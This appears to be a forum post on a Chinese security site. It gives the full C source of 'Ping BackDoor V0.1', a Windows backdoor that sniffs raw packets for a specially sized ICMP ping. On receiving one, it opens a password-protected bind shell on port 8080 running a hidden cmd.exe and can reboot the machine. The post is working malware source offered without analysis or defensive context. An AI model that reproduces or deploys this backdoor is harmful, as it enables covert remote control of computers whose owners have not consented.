|
作者: nckyo [nckyo] 论坛用户 | 登录 |
#include <stdio.h> #include <stdlib.h> #include <winsock2.h> //#include <ws2tcpip.h> #include <mstcpip.h> #define ICMP_ECHO 8 // ICMP回显请求报文的类型值为8 #define ICMP_ECHOREPLY 0 // ICMP回显应答报文的类型值为0 #define SNIFFER_ICMP_SIZE 101 // 监听ICMP包的大? #define BIND_PORT 8080 // 默认bind shell 端口 #define MAX_PACKET 10000 // 最大ICMP包的大? #define DEF_PASSWORD "givemeshell!" // 默认密码 #define xmalloc(s) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY,(s)) // 定义IP 首部 typedef struct iphdr { unsigned char h_verlen; // 4位首部长度,4位IP版本号 1 unsigned char tos; // 8位服务类型TOS 1 unsigned short total_len; // 16位总长度(字节) 2 unsigned short ident; // 16位标识 2 unsigned short frag_and_flags; // 3位标志位 2 unsigned char ttl; // 8位生存时间 TTL 1 unsigned char proto; // 8位协议(TCP, UDP 或其他) 1 unsigned short checksum; // 16位IP首部校验和 2 unsigned int sourceIP; // 32位源IP地址 4 unsigned int destIP; // 32位目的IP地址 4 } IPHeader; // IP首部长度为: 20 // 定义ICMP首部 typedef struct _ihdr { unsigned char i_type; // 8位类型 1 unsigned char i_code; // 8位代码 1 unsigned short i_cksum; // 16位校验和 2 unsigned short i_id; // 识别号(用进程号作为识别) 2 unsigned short i_seq; // 报文序列号 2 } ICMPHeader; // ICMP首部长度为: 8 int sniffer(); // 监听ICMP 大? void decode_sniffer(char *, int, struct sockaddr_in *); // 简单Sniffer 解包程序 int bindshell(); // bind shell DWORD dwBufferLen[10]; DWORD dwBufferInLen = 1; DWORD dwBytesReturned = 0; HANDLE bindthread; // ICMPDoor 主函数 int main(int argc, char **argv) { WSADATA wsaData; int retval; // socket 初始化 if ((retval = WSAStartup(MAKEWORD(2,2), &wsaData)) != 0) { printf("WSAStartup failed: %d\n",retval); exit(-1); } // sniffer 开始 sniffer(); // socket 结束 WSACleanup(); return 0; } // sniffer 主函数 int sniffer() { int packsize = SNIFFER_ICMP_SIZE; SOCKET socksniffer; struct sockaddr_in dest,from; struct hostent * hp; int sread; int fromlen = sizeof(from); unsigned char LocalName[256]; char *recvbuf; // 创建一个原始socket, 接受所有接收的包(sniffer) if ((socksniffer = WSASocket(AF_INET, SOCK_RAW, IPPROTO_IP, NULL, 0, WSA_FLAG_OVERLAPPED)) == INVALID_SOCKET) { printf("WSASocket() failed: %d\n", WSAGetLastError()); return -1; } // 取得本地地址 gethostname((char*)LocalName, sizeof(LocalName)-1); if((hp = gethostbyname((char*)LocalName)) == NULL) { return -1; } memset(&dest,0,sizeof(dest)); memcpy(&dest.sin_addr.s_addr, hp->h_addr_list[0], hp->h_length); // TCP嗅探选项 dest.sin_family = AF_INET; dest.sin_port = htons(8000); // 指定任意端 口 // socket bind bind(socksniffer, (PSOCKADDR)&dest, sizeof(dest)); // 设置socket为接受所有包 WSAIoctl(socksniffer, SIO_RCVALL, &dwBufferInLen, sizeof(dwBufferInLen), &dwBufferLen, sizeof(dwBufferLen),&dwBytesReturned , NULL , NULL ); // 分配socket接收缓冲区大小为MAX_PACKET recvbuf = (char *)xmalloc(MAX_PACKET); printf("Sniffer ok!"); // 循环监听包的大小 while(1) { // 读数据 sread = recvfrom(socksniffer, recvbuf, MAX_PACKET, 0, (struct sockaddr*)&from, &fromlen); // 如果读数据出错 if (sread == SOCKET_ERROR || sread < 0) { if (WSAGetLastError() == WSAETIMEDOUT) { continue; } printf("recvfrom failed: %d\n",WSAGetLastError()); return -1; } else // if ( sread >= 28) // 如果读到数据的大小 == 监听包的大小 + 28 if ( sread == packsize + 28) { // 将接收到的数据交给 sniffer 解包程序处理 decode_sniffer(recvbuf, sread - 28, &from); } } return 1; } // 简单Sniffer 解包程序 void decode_sniffer(char *buf, int bytes, struct sockaddr_in *from) { ICMPHeader *icmphdr; // ICMP首部的地址等于buf+IP首部长度:buf+20 icmphdr = (ICMPHeader *)(buf + sizeof(IPHeader)); /* printf("\r\n %d bytes from %s,", bytes, inet_ntoa(from->sin_addr)); // 取出接收数据 printf(" ICMP_Type: %d", icmphdr->i_type); // 检测类型 printf(" ICMP_Seq: %d\r\n", icmphdr->i_seq); // 取出序列号 //?出数据段 buf + 28 + i for(int i = 0; i < bytes - 1; i++) { printf("%c", *(buf + sizeof(IPHeader) + sizeof(ICMPHeader) + i)); } */ // if (icmphdr->i_type == ICMP_ECHO || icmphdr->i_type == ICMP_ECHOREPLY) // 简单判断如果为icmp 请求包 if (icmphdr->i_type == ICMP_ECHO) { // bind shell bindshell(); // DWORD bid; // bindthread = CreateThread(NULL, 0, bindshell, 0, 0, &bid); } else printf("\r\n Get Other Packets!"); return; } // bind shell函数 int bindshell(){ int bport = BIND_PORT; SOCKET bindServer, getClient; struct sockaddr_in addrServer, addrClient; char Buff[4096]; char *messages = "\r\n======================== Ping BackDoor V0.1 ========================\r\n========= Code by Lion. Welcome to Http://www.cnhonker.net =========\r\n"; char *getpass = "\r\n Your PassWord:"; char *passok = "\r\n OK! Please Enter:"; char *nothispass = "\r\n Sorry, Your PassWord Not Right.\r\n"; char *exitok = "\r\n Exit OK!\r\n"; char *rebootok = "\r\n Reboot now!\r\n"; // 创建一个socket bindServer = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); // 服务器地址和端口指定 addrServer.sin_family = AF_INET; addrServer.sin_port = htons(bport); addrServer.sin_addr.s_addr = ADDR_ANY; // 设置超时 int TimeOut = 60000; setsockopt(bindServer, SOL_SOCKET, SO_RCVTIMEO, (char*)&TimeOut, sizeof(TimeOut)); // 设置重复利用端口 UINT bReUser = 1; setsockopt(bindServer, SOL_SOCKET, SO_REUSEADDR, (char*)&bReUser, sizeof(bReUser)); // 监听端口 bind(bindServer, (struct sockaddr*)&addrServer, sizeof(addrServer)); listen(bindServer, 2); printf("\r\n Bind Port on %d ok.", bport); // 接受client连接 int iLen = sizeof(addrClient); // 接收1次连接 getClient = accept(bindServer, (struct sockaddr*)&addrClient, &iLen); if(getClient != INVALID_SOCKET) { // 如果有连接进来设置延时为60S int iTimeOut = 60000; setsockopt(getClient, SOL_SOCKET, SO_RCVTIMEO, (char*)&iTimeOut, sizeof(iTimeOut)); } else return -1; // 写欢迎信息 send(getClient, messages, strlen(messages), 0); // 写密码验证信息 send(getClient, getpass, strlen(getpass), 0); // 接收数据 recv(getClient,Buff,1024,0); // 验证密码 if(!(strstr(Buff, DEF_PASSWORD))) { // 如果密码错误,写密码错误信息 send(getClient, nothispass, strlen(nothispass), 0); printf("\r\n PassWord Not Right!"); closesocket(getClient); closesocket(bindServer); return -1; } // 写通过验证信息 send(getClient, passok, strlen(passok), 0); // 建两个匿名管道 HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2; unsigned long lBytesRead; SECURITY_ATTRIBUTES sa; sa.nLength=12; sa.lpSecurityDescriptor=0; sa.bInheritHandle=TRUE; CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0); CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0); STARTUPINFO siinfo; char cmdLine[] = "cmd.exe"; PROCESS_INFORMATION ProcessInformation; ZeroMemory(&siinfo,sizeof(siinfo)); siinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; siinfo.wShowWindow = SW_HIDE; siinfo.hStdInput = hReadPipe2; // 读socket写入pipe2的数据 siinfo.hStdOutput = siinfo.hStdError = hWritePipe1; // 向这里写数据 printf("\r\n Pipe Create OK!"); // 创建一个cmd进程, 由hReadPipe2读数据,向hWritePipe1写数据 int bread = CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&siinfo,&ProcessInformation); while(1) { // 检查管道是否有数据返回 int ret = PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0); if(lBytesRead) { // 从管道hReadPipe1读数据 ret = ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0); if(!ret) break; // 把从管道hReadPipe1读到的数据写入连接 getClient ret = send(getClient,Buff,lBytesRead,0); if(ret <= 0) break; } else { // 如果连接 getClient 有接收到数据 lBytesRead = recv(getClient,Buff,1024,0); if(lBytesRead <= 0) break; // 把从连接 getClient 读到的数据写入hWritePipe2 ret = WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0); if(lBytesRead > 4 && Buff[0]=='e' && Buff[1]=='x' && Buff[2]=='i' && Buff[3]=='t') { // 写退出信息 send(getClient, exitok, strlen(exitok), 0); closesocket(getClient); closesocket(bindServer); return 1; } else if(lBytesRead > 6 && Buff[0]=='r' && Buff[1]=='e' && Buff[2]=='b' && Buff[3]=='o' && Buff[1]=='o' && Buff[2]=='t') { // 写重启 send(getClient, rebootok, strlen(rebootok), 0); closesocket(getClient); closesocket(bindServer); ExitWindowsEx(EWX_REBOOT,NULL); return 1; } if(!ret) break; } } closesocket(getClient); closesocket(bindServer); return 1; } |
地主 发表时间: 07/27 13:18 |
|
20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon
粤ICP备05087286号